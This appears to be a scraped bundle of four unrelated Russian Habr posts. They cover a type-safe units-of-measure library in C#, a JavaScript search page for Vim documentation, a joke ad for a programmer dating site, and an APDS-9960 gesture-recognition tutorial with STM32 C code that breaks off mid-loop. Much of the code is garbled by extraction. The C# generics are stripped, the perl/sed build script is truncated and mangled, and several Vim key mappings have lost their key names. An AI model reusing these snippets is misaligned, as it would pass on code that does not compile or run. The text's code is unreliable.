Хочу предложить концепт системы единиц измерения с полной типобезопасностью, хорошей производительностью и полной расширяемостью!
Для нетерпеливых: [github](https://github.com/WhiteBlackGoose/UnitsOfMeasure).
Пример работыЕсть несколько существующих решений для ЕИ, например, [UnitsNet](https://github.com/angularsen/UnitsNet) и [Units of Measure in F#](https://docs.microsoft.com/en-us/dotnet/fsharp/language-reference/units-of-measure). Оба решения популярны и выполняют свою работу. Но мы здесь будет делать полностью расширяемую систему. А еще мы хотим автоматическую конвертацию ЕИ.
Итак, погнали.
Реализация
----------
Основной принцип в том, что мы никак не делим ЕИ на физические величины. У нас нет длин, дистанций, времени, массы, площади, и т. д. Но при этом у каждой ЕИ есть базовая ЕИ и значение.
У ЕИ может быть любая базовая ЕИ. Для простоты я буду брать СИ как базовые ЕИ. Например, для километра базовой ЕИ будет метр (1000 метров в километре). Для грамма - килограмм (0.001 кг в г). Для метра базовая ЕИ - тоже метр (1:1).
Вот так выглядит интерфейс, который реализуется каждой ЕИ:
```
public interface IBaseUnit
{
TNumber Base { get; }
string Postfix { get; }
}
```
Base - количество базовой ЕИ в нашей. Postfix - просто текстовый эквивалент. Например, так определена минута:
```
public struct Minute : IBaseUnit, TNumber>
where TNumber : IMultiplicativeIdentity, IParseable
{
public string Postfix => "min";
public TNumber Base => Constants.Number60;
}
```
TNumber нужен для [generic math](https://devblogs.microsoft.com/dotnet/preview-features-in-net-6-generic-math/).
Итак, что насчет арифметических операций? На самом деле для них тоже есть свои единицы измерения. Например, вот так определено [деление](https://github.com/WhiteBlackGoose/UnitsOfMeasure/blob/296c8e3846de47dd5b695df120ca76da9e73942f/Sources/UnitsOfMeasure/PredefinedUnits.Arithmetics.cs#L14):
```
public struct Div
: IBaseUnit, TNumber>
where T1Base : struct, IBaseUnit
where T2Base : struct, IBaseUnit
where T1 : struct, IBaseUnit
where T2 : struct, IBaseUnit
where TNumber : IDivisionOperators
{
public TNumber Base => new T1().Base / new T2().Base;
public string Postfix => $"({new T1().Postfix}/{new T2().Postfix})";
}
```
Немного жирноватое определение, но не в том суть. `Div` так же реализует `IBaseUnit` интерфейс, причем базовая ЕИ для него - это деление базовых ЕИ числителя и знаменателя. Например, для ЕИ `км/мин` базовая ЕИ - `м/с`.
Так как такая система не зависит от самих единиц и физических величин, мы можем легко создать метод, который конвертирует что угодно в что угодно при условии, что базовая ЕИ совпадает:
Конвертация единиц измерения с общей базовой ЕИТ. е. мы просто требуем одну и ту же базовую ЕИ, и отталкиваясь от нее конвертирует любую в любую. А если базовая ЕИ не совпадает, значит нельзя конвертировать!
Конвертация из метров в секунды невозможнаПодобным способом, требуя одну базовую ЕИ, мы можем реализовать [сложение](https://github.com/WhiteBlackGoose/UnitsOfMeasure/blob/296c8e3846de47dd5b695df120ca76da9e73942f/Sources/UnitsOfMeasure/Operations.cs#L19). К сожалению, оператор + не получится определить, так как у нас не может быть generic оператор. Поэтому я сделал его методом расширения (extension method):
```
[MethodImpl(MethodImplOptions.AggressiveInlining)]
public static Unit
Add(this Unit a, Unit b)
where T1 : IBaseUnit
where T2 : IBaseUnit
// убрал несколько constraint-ов для облегчения чтения
=>
typeof(T1) == typeof(T2)
? new(a.Float + b.Float)
: new((a.Float \* new T1().Base + b.Float \* new T2().Base) / new T1().Base);
```
Такой метод автоматически конвертирует методы с одинаковой базовой ЕИ даже если сами ЕИ разные. Например, 20 секунд + 1 минута = 80 секунд. 1 км + 1 миля = 2.6 км. Но попытка сложить секунды и метры не удастся (не скомпилируется).
Пришло время демонстрации результат работы.
Примеры работы
--------------
Все подряд:
Большой пример работыВ отличии от C#, в F# есть generic операторы, почему бы их не попробовать?
Пример работы библиотеки в F#Как мы помним, все делалось так, чтобы работала generic math. То есть мы можем подставить любой тип, который реализует необходимые интерфейсы. Например, мы можем взять [AngouriMath.Experimental](https://www.nuget.org/packages/AngouriMath.Experimental), экспериментальная версия [AngouriMath](https://github.com/asc-community/AngouriMath), которая реализует интерфейсы generic math.
Пример работы символьной алгебры с нашей системой ЕИПроизводительность
------------------
Не слишком плохо. На самом деле единственный оверхед нашей системы в том, что JIT не промоутит структуры с единственным полем пока что. Поэтому если с float-ами мы передаем из через xmm регистры, то здесь приходится сначала записать значение юнита в память, потом выгрузить на xmm, произвести операцию, и обратно. Тем не менее, быстрее с оберточным типом сделать невозможно, да и потерянное время - это порядок долей наносекунды для одной операции. [Больше информации](https://github.com/WhiteBlackGoose/UnitsOfMeasure#efficiency).
Вывод
-----
Вовсе не могу сказать, что это что-то объективно лучшее чем то, что существует. Но как концепт чего-то светлого очень даже. Вот таблица, которая сравнивает мою систему ЕИ, такую у F# и UnitsNet.
Ext. это про расширяемость физических величин и единиц измерения. Таблица [здесь](https://github.com/WhiteBlackGoose/UnitsOfMeasure/blob/main/README.md#other-solutions).
[Гитхаб](https://github.com/WhiteBlackGoose/UnitsOfMeasure) репозитория и [мой гитхаб](https://github.com/WhiteBlackGoose). Эта же статья [на английском](https://itnext.io/stay-safe-with-your-units-advanced-units-of-measure-in-net-f7d8b02af87e).
Спасибо за внимание. Задавайте вопросы, оставляйте фидбек! | https://habr.com/ru/post/597437/ | null | ru | null |
# Vim: поиск по документации на Javascript
Обычно я работаю в Kate или Geany. Но иногда, как и всем людям, мне хочется освоить Vim. И каждый раз, примерно на второй минуте «освоения» возникает какой-нибудь совершенно дурацкий вопрос. Например, почему при нажатии стрелок (или клавиш jk) курсор скачет сразу через все строки абзаца?
Как бы я ни старался свои вопросы формулировать, поиск каждый раз выдаёт мне примерно одни и те же сто сайтов с заголовками вроде «100 самых полезных команд Vim». И какой бы сайт я ни выбрал, на нём всегда не будет хватать именно той «команды», которая мне нужна как раз сейчас.
Я подумал, как бы найти не сто, а вообще все команды Вим. И нашёл-таки страничку в сети, которая так и называлась: «Все команды Vim». И там действительно был очень большой список — штук шестьсот слов. Но не было указано, что эти команды делают, — просто список терминов. Меня так разозлила эта шутка, что я решил, наконец, **почитать документацию** и раз и навсегда составить свой собственный список «всех команд Vim». Результат на экране. Подробности ниже.
На официальном сайте меня отправили изучать документацию на страницу [vimdoc.sourceforge.net](http://vimdoc.sourceforge.net/). На этой странице больше ста ссылок на разные файлы; описание задач в них часто пересекается: например, для меня *editing.html, motion.html, insert.html* — всё это как бы одно сплошное «редактирование». Некоторые файлы вообще не нужны для поиска решения — например, сравнение версий вроде *version5.html*. Некоторые — что-то вроде учебника (*usr\_NN.html*).
Я выбрал всё более-менее относящееся к «reference», скачал и решил как-то организовать поиск-фильтрацию по всему материалу сразу. После обработки sed'ом и склеивания получился файл размером 3.5 мегабайта. «Команд» там оказалось не 600, а шесть тысяч (со всеми псевдонимами и вариантами — которые уместились примерно в четырёх тысячах «статей» или «параграфов»). Их удалось все найти и выбрать, потому что автор документации, Bram Moolenaar, заботливо заключил их все в тэги "**a name**".
Именно по этому принципу я разделил весь текст документации: одно «ключевое слово» (или группа терминов-синонимов) — один сегмент текста. Я хотел организовать «сквозную» фильтрацию, чтобы при поиске произвольного слова видеть фрагменты из разных файлов документации. А ещё не потерять стандартную возможность документации — при щелчке по термину или «тегу» прыгать к тексту с определением (или описанием) этого термина.
Для этого весь материал был помещён в одну большую html-таблицу, а потом в ней был организован поиск с помощью Javascript.
Все знают, что такая большая таблица — 4000 строк, 3.5 мегабайта — в браузере будет еле ворочаться. Но глаза боятся, руки делают. Javascript в современных браузерах — очень быстрый язык. Гораздо больше времени уходит на вывод текста на экран. Поэтому не надо показывать сразу всю таблицу.
Это первый простой приём, дающий самое большое ускорение загрузки для большой страницы — указать для таблицы правило `display:none;`. Невидимая таблица загружается на порядок быстрее, после чего можно не спеша создать все необходимые индексы. А позже, когда пользователь начнёт поиск, будем выводить на экран только небольшую часть таблицы. Иногда, конечно, и большую, если вы введёте в поле поиска всего одну букву.
Чтобы избавать пользователя (то есть, в первую очередь, себя) от долгого ожидания, мы завели в скрипте фильтрации два параметра: `_Table.tx = 2` — искать начинаем, только если пользователь ввёл не меньше двух букв; `_Table.vrows = 100` — показываем только первые 100 результатов поиска (не больше).
В Vim'е бывают, конечно, команды из двух букв, и даже из одной буквы. По ним практически невозможно отфильтровать нужный текст, потому что будет найдено много обычных слов. Чтобы при поиске буквы искомых терминов не смешивались с «обычными буквами», мы заключили все «термины» в звёздочки (точнее, оставили эти звёздочки, как в исходных файлах). Чтобы найти, например, описание команды «B» (заглавная латинская B), в поле поиска так и надо вводить букву прямо со звёздочками:
Предполагается, что при количестве результатов, например, 200, разумный пользователь продолжит фильтрацию, чтобы уменьшить количество найденных строк, — например, добавляя буквы в поле поиска другого столбца. Но если сильно захочется увидеть все 4000 найденных строк, можно нажать галочку «Показать скрытые».
Можно искать термины и горячие клавиши также с помощью обычного `Ctrl+f` — все ключевые слова полностью выведены на странице в отдельном списке справа, почти как на том сайте, где «все команды Вим». Только на нашей страничке по любому слову можно щёлкнуть и увидеть подробный текст из документации. По `Ctrl+f` в списке справа можно найти также и команды, состоящие из одной буквы — там они тоже окружены звёздочками.
Это второй приём ускорения — организация поиска по отдельным спискам, а не по всему сплошному тексту — для этого и нужна таблица с несколькими столбцами, а, возможно, ещё и пара столбцов снаружи таблицы.
Третий приём — не трогать DOM. Поиск на Javascript всегда лучше вести по специально подготовленным массивам, а не по реальным узлам DOM.
Четвёртый приём — «индексация». Мы связываем слово из списка прямо с конкретным элементом массива по его номеру. Это что-то вроде **primary key**. Тогда при щелчке по такому слову можно выводить нужную информацию практически мгновенно — так работает список терминов справа. Мы можем связать ссылку с несколькими элементами массива, тогда поиск тоже ускоряется, потому что никакого поиска нет — просто выводятся строки, связанные с набором элементов массива (что-то вроде связи *один-ко-многим*). Так работает список «категорий» слева — в нём имена исходных файлов документации: *options, editing, motion*… Правда, «ускорение» не очень заметно при щелчке, например, по ссылке *vim.eval*, потому что в этом разделе больше пятисот пунктов (строк таблицы), и выводятся на экран они уже достаточно долго (если вы, конечно, поставите галочку «Показать скрытые»).
Поиск текста на Javascript у нас производится с помощью функции `indexOf()` — перебираются все значения в массиве и сравниваются с введёнными для поиска буквами. Обычно для поиска этим методом надо приводить все значения в поисковых массивах к нижнему регистру. Но в нашем случае gg не то же самое, что GG, поэтому поиск сделан регистрозависимым.
### \*\*\*
В документации в каждом абзаце находится множество ссылок. Эти ссылки конечно создавались отнюдь не руками, и иногда в файлах можно встретить довольно странные вещи. Так, ссылки на команду «motion.as» мне пришлось полностью удалить — потому что таких ссылок в итоговом файле оказалось больше тысячи (в высказываниях вида "*same as :map*"). Я уж решил, миновала беда; но вдруг случайно увидел следующий набор «шумовых» ссылок — со словом «do».
Тогда мне перестало казаться, что искать обязательно «самые свежие» html-файлы документации такая уж хорошая идея. Пусть у меня Vim не самый-самый последний, но документация-то всё равно ведь меняется не каждый день. Поэтому почему бы вместо «wget ...» не написать в консоли `cp -R /usr/share/vim/vim74/doc ~/Downloads/vim7/source`. И ходить за исходными файлами далеко не надо.
В моей папке vim74/doc оказались ещё файлы **.rux** — переводы на русский. Файлов стало много, да ещё и с разными расширениями. И в целом выбор файлов для поиска стал определяться немного по-другому: не «выбрать всё похожее на reference», а удалить заведомо не-reference: `rm -R usr_*; rm -R version*; rm -R todo*`.
Число «команд vim» или тегов в правом списке увеличилось до 9000. Точнее, стало даже «over 9000». И часть тегов оказались связаны не с одним сегментом текста, а с двумя — английским и русским (если есть перевод). Хуже, по-моему, от этого не стало. Правда, число строк таблицы тоже выросло — до «over 8000». Но разницы в скорости работы поиска между таблицей в 4000 строк и таблицей с 8000 строк невооружённым глазом не заметно.
### Vim tags
Разглядывая файлы документации, я обнаружил «список команд Вим» в файле tags, но не сумел его использовать в работе Javascript — не понял, что при этом можно выгадать. Его можно использовать раньше, при генерации html, как это делает лежащий в той же папке скрипт vim2html.pl, — чтобы выделять ключевые слова и размечать их html-тегами **a name**. Но для поиска на Javascript не нужны именно «a name», достаточно любых условных меток (мы выбрали ). И не нужен такой сложный инструмент, как vim2html.pl, — можно расставить метки с помощью обыкновенных регэкспов, sed'ом (код приведён в конце статьи).
### Возвращаясь к Vim hjkl
Пока я неторопливо пилил в Kate Javascript-фильтрацию для Vim'овских доков, параллельно набирал этот текст в Vim. И ответ на свой первый вопрос о jk-навигации получил только в самом конце работы, дней через пять. В первом приближении ответ нашёлся быстро — в одной из статей прямо здесь, на Хабре: чтобы курсор двигался по экранным строчкам, а не по абзацам, надо изменить назначение клавиш с помощью инструкции map — в файле ~/.vimrc: `map k gk`, `map j gj`.
Но это была самая маленькая часть проблемы. Большая оказалась в идеологии. Клавиши **hjkl**, используемые вместо стрелок, призваны увеличивать удобство навигации: не надо уводить руку далеко от основных клавиш — к стрелкам. Ну, передвинулся я на нужное место в тексте, нажал **i**, напечатал букву. А потом-то что? Как дальше двигаться этими jk? Если я их нажму, они ведь просто напечатаются.
Надо как-то переходить опять в «нормальный» режим — то есть всё-таки уводить одну из рук от основных клавиш к клавише Esc. Её, конечно, щёлкнуть проще, чем к стрелкам перемещаться. Но раздражает сам факт частого переключения режимов для мелкой правки — теряется всякий профит.
Мудрая мысль насчёт «map k gk» подсказала следующий шаг: `imap gji`. И это прекрасно сработало почти для всех четырёх направлений. Кроме , при нажатии которой Vim почему-то упорно отказывался что-либо делать. Свежесработанный поиск по документации показал, что это сочетание по умолчанию нигде не используется. Я перебрал несколько вариантов, включая всякие хитрости:
```
imap l
map li
```
И вот в этом последнем я вдруг заметил, что клавиши работают как-то через раз. Понаблюдав ещё немного за поведением *поциента*, нашёл какое-то странное решение, необъяснимо оказавшееся рабочим:
```
imap lli
```
### \*\*\*
Можно ещё долго и много рассказывать о внутренней красоте Javascript и о тонкостях работы с таблицами вроде `table-layout: fixed;`, но я начинаю чувствовать за спиной укоризненный взгляд Линуса: «Покажите мне уже код!» Вот он, код обработки исходных файлов документации:
**Код генерации html-таблицы из файлов документации Vim**
```
cd source
rm -R usr_*
rm -R version*
rm -R todo*
for f in *.txt;
do
n=$(echo "$f" | sed -r 's/\.\w+//');
perl -pe 's/"$n".html;
done;
for f in *.rux;
do
n=$(echo "$f" | sed -r 's/\.\w+//');
perl -pe 's/"$n"-ru.html;
done;
for f in *.html;
do
n=$(echo "$f" | sed -r 's/\.\w+//');
for ((i=0; i < 3; i++)); do
sed -i -r "s:\|([^\t ]+)\|:\1:g; s:(^|\t| )(\*[^\t ]+\*)(\t| |$):\1**\2**\3:g" "$n".html;
done;
sed -i "/**/i<\/pre><\/td><\/tr>| vim.$n<\/u><\/td>
```
" "$n".html;
done;
cat *.html > ../table.htm
cd ..
sed -i '/vim:tw=78:ts=8:ft=help:norl/d' table.htm
cat htm00.htm table.htm endhtm.htm >vim.html
```
| |**
```
Сначала кодируем в html все открывающие теги в тексте. И заодно копируем исходники в файлы с другим расширением. Потом ищем все слова со звёздочками и заключаем их в теги . Сложность в том, чтобы не зацепить вхождения вида ":autocmd BufRead \*/doc/\*.txt set tw=78" — звёздочки без ключевых слов. Из-за сложного условия поиск приходится повторять несколько раз, потому что часть контекстов пересекается. Когда найдены и размечены все ключевые слова, опираясь на них, уже можно разделить будущую html-таблицу на строчки.
Потом файлы склеиваются в один, добавляется `!DOCTYPE` с мета-тэгами, 300 строк js и 40 строк css, которые можно посмотреть прямо внутри конечного файла. Результат: [Vim docs](http://nichtig.ru/vim.html)
P.S. Пока дорабатывал описание, добавил кое-что в Javascript: 1) двойной щелчок мышкой запускает поиск по выделенному слову; 2) можно выделить мышкой несколько слов и нажать для поиска F2. 3) Ctrl+Left возвращает к предыдущему результату поиска (Ctrl+Right — наоборот). | https://habr.com/ru/post/346196/ | null | ru | null |
# Сайт знакомств с программистами Love++
Оплотом современного мира являются программисты. Программисты — это самые надежные и умные люди в мире. Любая проблема обычного человека является элементарной для программиста. Программисты умеют находить решение любой проблемы в считанные минуты.
Небольшой загвоздкой в жизни программистов может быть лишь то, что они неохотно занимаются поиском второй половины и чаще предпочитают подождать, пока половина сама найдет их.
Женщины, решающие связать свою жизнь с программистами, автоматически выбирают счастье и благополучие до конца жизни. Программист — это идеальный муж! Программист предан своей жене всецело, обычно он не пьет и не курит, зарабатывает много денег и совсем не умеет их тратить. Все жены непрограммистов завидуют женам программистов.
Чтобы приблизить встечу программистов со вторыми половинами специально к Дню влюбленных мы создали проект Love++, где девушки могут найти себе идеального мужа-программста, а программисты могут оставить анкету и расслабится — их обязательно найдут! В отличие от обычного сайта знакомств, на нашем сайте жесткий фейсконтроль. Проходимцы не пройдут!
Регистрация на сайте доступна только из командной строки, которая ввергнет в ступор любого обычного человека, а для программиста является родным домом!
Если вы девушка и хотите найти идеального мужа — лучше сайта знакомств вам не найти!
Если вы программист, и у вас еще нет жены — разместите анекту на сайте Love++ и найдите свою любовь!
Ну, или более понятным языком:
```
if you.areAlone
location.href = 'http://loveplusplus.ru/register'
if you.haveRegistered
while you.areAlone
wait()
checkEmail()
findYourLove()
liveLongAndProsper()
```
Найди свою любовь с Love++!
[loveplusplus.ru](http://loveplusplus.ru)
*p.s. Пост отправлен заново т.к. предыдущий, не подумав, разместили не в тот хаб* | https://habr.com/ru/post/169405/ | null | ru | null |
# Распознавание жестов с помощью APDS-9960
Читая комментарии к моей предыдущей [статье](https://habr.com/post/423847/) про APDS-9960, где речь шла про распознавание цвета и уровня освещенности для меня стали очевидными две вещи: 1) тема распознавания жестов интересна и 2) тема эта не раскрыта.
Действительно, если уж взялся за описание APDS-9960, то без рассмотрения жестов описание это выглядит несколько незавершенным. Поэтому я нашел свободное время, чтобы исследовать и эту тему тоже.
В данной статье я предлагаю Вашему вниманию обзор возможностей для распознавания жестов которые предоставляет сенсор APDS-9960.
В статье будет рассмотрен механизм настройки сенсора, сбор данных, их обработка и представление. Вы сами сможете убедиться в том насколько это просто — работать с жестами с помощью APDS-9960.
Как и в прошлый раз, статья будет сопровождаться кодом, все происходящее в котором будет подробно описано. Полная версия кода доступна в конце статьи.
Сразу небольшая ремарка: встроенного автоматического механизма определения жестов у APDS-9960 не предусмотрено; то есть такого, чтобы прям вот, прочитал, значит, регистр, а там уже и жест обработанный лежит — такого в APDS-9960 нет; а это означает, что придется писать свой алгоритм интерпретации жестов, чем впоследствии и займемся.
Вообще, это одновременно и хорошо и не очень. Не очень — потому что может усложнить исследование данного сенсора для начинающего, а хорошо, потому что, вкупе с данными о приближении, можно, изощряясь, вообще напридумывать собственных жестов различных каких угодно разнообразных и всяких.
Но, поскольку данная статья несет лишь обзорную функцию, мы ограничимся только базовыми UP-DOWN-LEFT-RIGHT жестами.
Ну что же, приступим.
### Теория
Позволю себе чуточку матчасти.
Для получения необходимой информации о движении и направлении движения в APDS-9960 используются ИК светодиод и четыре фотодиода, которые, как наглядно проиллюстрировано на рисунке ниже, регистрируют сигналы в диапазоне ближнего ИК (NIR).
ИК светодиод (LED) несет функцию подсветки, а фотодиоды (UDLR) регистрируют отраженный от «препятствия» свет.
Фотодиоды расположены на сенсоре таким образом, что в зависимости от направления движения «препятствия», соответствующий фотодиод получит большую часть отраженного ИК-сигнала на входе и меньшую часть на выходе. В то же время документация на APDS-9960 недвусмысленно подсказывает нам, что интерпретировать направление движения можно измеряя и сравнивая амплитуду и разность фаз сигналов с фотодиодов UDLR.
### Практика
Для работы с APDS-9960, как и в [прошлой раз](https://habr.com/post/423847/), будем использовать STM32VLDISCOVERY. Подключение также не поменялось.
Настройка APDS-9960
Производим первоначальную настройку сенсора.
Вот так вот:
**APDS9960\_init**
```
void APDS9960_init(void) {
i2c1_write(APDS9960_CONTROL, DEFAULT_PGAIN);
i2c1_write(APDS9960_GPENTH, DEFAULT_GPENTH);
i2c1_write(APDS9960_GEXTH, DEFAULT_GEXTH);
i2c1_write(APDS9960_GCONF2, DEFAULT_GGAIN);
i2c1_write(APDS9960_GPULSE, DEFAULT_PULSE_LENGTH);
i2c1_write(APDS9960_PPULSE, DEFAULT_PULSE_LENGTH);
}
```
Что же здесь происходит? Давайте разбираться.
```
i2c1_write(APDS9960_CONTROL, DEFAULT_PGAIN);
```
PGAIN (Proximity Gain Control) — это параметр который управляет коэффициентом усиления чувствительности приближения. Присвоим ему значение 2, что соответствует усилению в четыре раза.
```
i2c1_write(APDS9960_GPENTH, DEFAULT_GPENTH);
i2c1_write(APDS9960_GEXTH, DEFAULT_GEXTH);
```
GPENTH (Gesture Proximity Enter Threshold Register) — этот параметр устанавливает пороговое значение близости для определения начала распознавания жеста.
GEXTH (Gesture Exit Threshold Register), соответственно, устанавливает пороговое значение для определения окончания распознавания жеста.
```
i2c1_write(APDS9960_GCONF2, DEFAULT_GGAIN);
```
В регистре GCONF2 (Gesture configuration two) мы явно устанавливаем только параметр GGAIN (Gesture Gain Control) в значение усиления в четыре раза.
```
i2c1_write(APDS9960_GPULSE, DEFAULT_PULSE_LENGTH);
i2c1_write(APDS9960_PPULSE, DEFAULT_PULSE_LENGTH);
```
Подсветка. По умолчанию значение для источника тока ИК светодиода подсветки установлено в 0, что соответствует току в 100 мА, нас это вполне устроит — менять не будем.
ИК подсветка в APDS-9960 представляет собой последовательность импульсов и характеризуется соответствующими параметрами регистров для жестов GPULSE (Gesture pulse count and length): GPLEN (Gesture Pulse Length) и GPULSE (Number of Gesture Pulses), а также приближения PPULSE (Proximity Pulse Count Register): PPLEN (Proximity Pulse Length) и PPULSE (Proximity Pulse Count) задающими количество импульсов и период каждого отдельного импульса.
Определим, что GPLEN и PPLEN примут значение 2 равное 16 мкс, а GPULSE и PPULSE значение 9, которое соответствует 10 импульсам.
Как видите, настройка оказалась ненамного сложнее аналогичной для распознавания цветов и освещения из предыдущего обзора APDS-9960.
Чтение данных
Теперь переместимся в основной цикл программы, в котором начнем то и дело регистрировать и интерпретировать данные с фотодиодов, а также научимся находить отличия одного жеста от другого.
Перво-наперво, стартуем APDS-9960 с функциями работы с жестами и приближением.
```
GesturesSet(GESTURES_START);
```
И сразу же начинаем отслеживать параметр GVALID. GVALID (Gesture FIFO Data) — это параметр регистра GSTATUS (Gesture Status Register), который, находясь в отличном от нуля состоянии, сообщает нам о том, что у сенсора имеются пригодные для использования данные о жестах.
Документация учит нас, что информация о жестах находится в буфере, в области оперативной памяти, которая в общем случае имеет размер 32 x 4 байт.
На практике, фактический размер этого буфера можно узнать прочитав значение регистра GFLVL (Gesture FIFO level), т.е. по моим сугубо эмпирическим экспериментальным наблюдениям, получается GFLVL\*4. Как-то так:
Ну и как следует из названия буфера, данные в нем располагаются в порядке First In — First Out. То есть, грубо говоря, чем «раньше» поступил сигнал с каждого из фотодиодов тем «выше» в GFLVL он располагается.
Данные с фотодиодов (UDLR) можно прочитать из соответствующих регистров Gesture FIFO Register:
— GFIFO\_U (Gesture FIFO Data, UP)
— GFIFO\_D (Gesture FIFO Data, DOWN)
— GFIFO\_L (Gesture FIFO Data, LEFT)
— GFIFO\_R (Gesture FIFO Data, RIGHT)
После каждого чтения значений из этих регистров, GFLVL декрементируется; таким образом, по хорошему, необходимо произвести чтение полностью всего буфера до момента пока GFLVL не достигнет нуля.
Для определения жестов нам понадобятся только первые четыре байта этого буфера, не больше. Поэтому и прочитаем мы только их.
```
GestureUp = i2c1_read(APDS9960_GFIFO_U);
GestureDown = i2c1_read(APDS9960_GFIFO_D);
GestureLeft = i2c1_read(APDS9960_GFIFO_L);
GestureRight = i2c1_read(APDS9960_GFIFO_R);
```
Распознавание жестов
Чтобы интерпретировать какой же именно жест произошел, произведем нехитрые вычисления:
```
GestUpDown = GestureUp-GestureDown;
GestLeftRight = GestureLeft-GestureRight;
```
Для определения того какой из жестов в данный момент случился нам важны не сами значения GestUpDown и GestLeftRight, а только лишь знак, так сказать, вещественного числа.
То есть, иными словами, принимая на вход отрицательные и положительные значения переменных GestUpDown и GestLeftRight определяем какой жест совершен.
Таблица истинности для переменных GestUpDown и GestLeftRight представлена на рисунке ниже
Теперь обнулим GFLVL:
```
GesturesSet(GESTURES_STOP);
```
… и вернемся в начало основного цикла программы.
А теперь весь код целиком:
**main.c**
```
#include "stm32f10x.h"
#define APDS9960_I2C_ADDR 0x39
#define APDS9960_ENABLE 0x80
#define APDS9960_GSTATUS 0xAF
#define APDS9960_GFLVL 0xAE
//Gesture FIFO Register (0xFC – 0xFF):
#define APDS9960_GFIFO_U 0xFC
#define APDS9960_GFIFO_D 0xFD
#define APDS9960_GFIFO_L 0xFE
#define APDS9960_GFIFO_R 0xFF
#define APDS9960_CONTROL 0x8F
#define APDS9960_GPENTH 0xA0
#define APDS9960_GEXTH 0xA1
#define APDS9960_GCONF2 0xA3
#define APDS9960_GPULSE 0xA6
#define APDS9960_PPULSE 0x8E
#define GESTURES_START 0x01
#define GESTURES_STOP 0x02
#define DEFAULT_GPENTH 40 // Threshold for entering gesture mode
#define DEFAULT_GEXTH 30 // Threshold for exiting gesture mode
#define DEFAULT_PGAIN 8 // Proximity Gain Control: 4X
#define DEFAULT_GGAIN 0x40 // Gesture Gain Control: 4X
#define DEFAULT_PULSE_LENGTH 0x89 // 16us, 10 pulses
/* Bit fields */
#define APDS9960_PON 0x01
#define APDS9960_AEN 0x02
#define APDS9960_PEN 0x04
#define APDS9960_WEN 0x08
#define APSD9960_AIEN 0x10
#define APDS9960_PIEN 0x20
#define APDS9960_GEN 0x40
#define APDS9960_GVALID 0x01
int GestUpDown = 0;
int GestLeftRight = 0;
//-----------------------------------------------------------------------
uint8_t i2c1_read(uint8_t addr);
void i2c1_write(uint8_t addr, uint8_t data);
void I2C1_init(void)
{
I2C_InitTypeDef I2C_InitStructure;
GPIO_InitTypeDef GPIO_InitStructure;
RCC_APB1PeriphClockCmd(RCC_APB1Periph_I2C1, ENABLE);
RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB| RCC_APB2Periph_AFIO , ENABLE);
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_2MHz;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_OD;
GPIO_InitStructure.GPIO_Pin = GPIO_Pin_6 | GPIO_Pin_7;
GPIO_Init(GPIOB, &GPIO_InitStructure);
I2C_StructInit(&I2C_InitStructure);
I2C_InitStructure.I2C_ClockSpeed = 100000;
I2C_InitStructure.I2C_OwnAddress1 = 0x01;
I2C_InitStructure.I2C_Ack = I2C_Ack_Enable;
I2C_Init(I2C1, &I2C_InitStructure);
I2C_Cmd(I2C1, ENABLE);
}
//-----------------------------------------------------------------------
void APDS9960_init(void) {
i2c1_write(APDS9960_CONTROL, DEFAULT_PGAIN);
i2c1_write(APDS9960_GPENTH, DEFAULT_GPENTH);
i2c1_write(APDS9960_GEXTH, DEFAULT_GEXTH);
i2c1_write(APDS9960_GCONF2, DEFAULT_GGAIN);
i2c1_write(APDS9960_GPULSE, DEFAULT_PULSE_LENGTH);
i2c1_write(APDS9960_PPULSE, DEFAULT_PULSE_LENGTH);
}
//-----------------------------------------------------------------------
uint8_t i2c1_read(uint8_t addr)
{
uint8_t data;
while(I2C_GetFlagStatus(I2C1, I2C_FLAG_BUSY));
I2C_GenerateSTART(I2C1, ENABLE);
while(!I2C_CheckEvent(I2C1, I2C_EVENT_MASTER_MODE_SELECT));
I2C_Send7bitAddress(I2C1, APDS9960_I2C_ADDR<<1, I2C_Direction_Transmitter);
while(!I2C_CheckEvent(I2C1, I2C_EVENT_MASTER_TRANSMITTER_MODE_SELECTED));
I2C_SendData(I2C1, addr);
while(!I2C_CheckEvent(I2C1, I2C_EVENT_MASTER_BYTE_TRANSMITTED));
I2C_GenerateSTART(I2C1, ENABLE);
while(!I2C_CheckEvent(I2C1, I2C_EVENT_MASTER_MODE_SELECT));
I2C_Send7bitAddress(I2C1, APDS9960_I2C_ADDR<<1, I2C_Direction_Receiver);
while(!I2C_CheckEvent(I2C1,I2C_EVENT_MASTER_BYTE_RECEIVED));
data = I2C_ReceiveData(I2C1);
while(!I2C_CheckEvent(I2C1, I2C_EVENT_MASTER_BYTE_RECEIVED));
I2C_AcknowledgeConfig(I2C1, DISABLE);
I2C_GenerateSTOP(I2C1, ENABLE);
while(I2C_GetFlagStatus(I2C1, I2C_FLAG_BUSY));
return data;
}
//-----------------------------------------------------------------------
void i2c1_write(uint8_t addr, uint8_t data)
{
I2C_GenerateSTART(I2C1, ENABLE);
while(!I2C_CheckEvent(I2C1, I2C_EVENT_MASTER_MODE_SELECT));
I2C_Send7bitAddress(I2C1, APDS9960_I2C_ADDR<<1, I2C_Direction_Transmitter);
while(!I2C_CheckEvent(I2C1, I2C_EVENT_MASTER_TRANSMITTER_MODE_SELECTED));
I2C_SendData(I2C1, addr);
while(!I2C_CheckEvent(I2C1, I2C_EVENT_MASTER_BYTE_TRANSMITTED));
I2C_SendData(I2C1, data);
while(!I2C_CheckEvent(I2C1, I2C_EVENT_MASTER_BYTE_TRANSMITTED));
I2C_GenerateSTOP(I2C1, ENABLE);
while(I2C_GetFlagStatus(I2C1, I2C_FLAG_BUSY)) {};
}
//-----------------------------------------------------------------------
void GesturesSet(uint8_t GestSel) {
switch (GestSel)
{
case GESTURES_START:
i2c1_write(APDS9960_ENABLE, APDS9960_GEN | APDS9960_PEN | APDS9960_PON);
break;
case GESTURES_STOP:
i2c1_write(APDS9960_ENABLE, APDS9960_PEN | APDS9960_PON);
break;
default:
i2c1_write(APDS9960_ENABLE, APDS9960_GEN | APDS9960_PEN | APDS9960_PON);
}
}
//-----------------------------------------------------------------------
int main()
{
uint8_t GFLVL_buf = 0;
uint8_t GSTATUS_buf = 0;
uint8_t GestureUp = 0;
uint8_t GestureDown = 0;
uint8_t GestureLeft = 0;
uint8_t GestureRight = 0;
I2C1_init();
APDS9960_init();
while (1)
{
GFLVL_buf = 0;
GSTATUS_buf = 0;
GestureUp = 0;
GestureDown = 0;
GestureLeft = 0;
GestureRight = 0;
GestUpDown = 0;
GestLeftRight = 0;
GesturesSet(GESTURES_START);
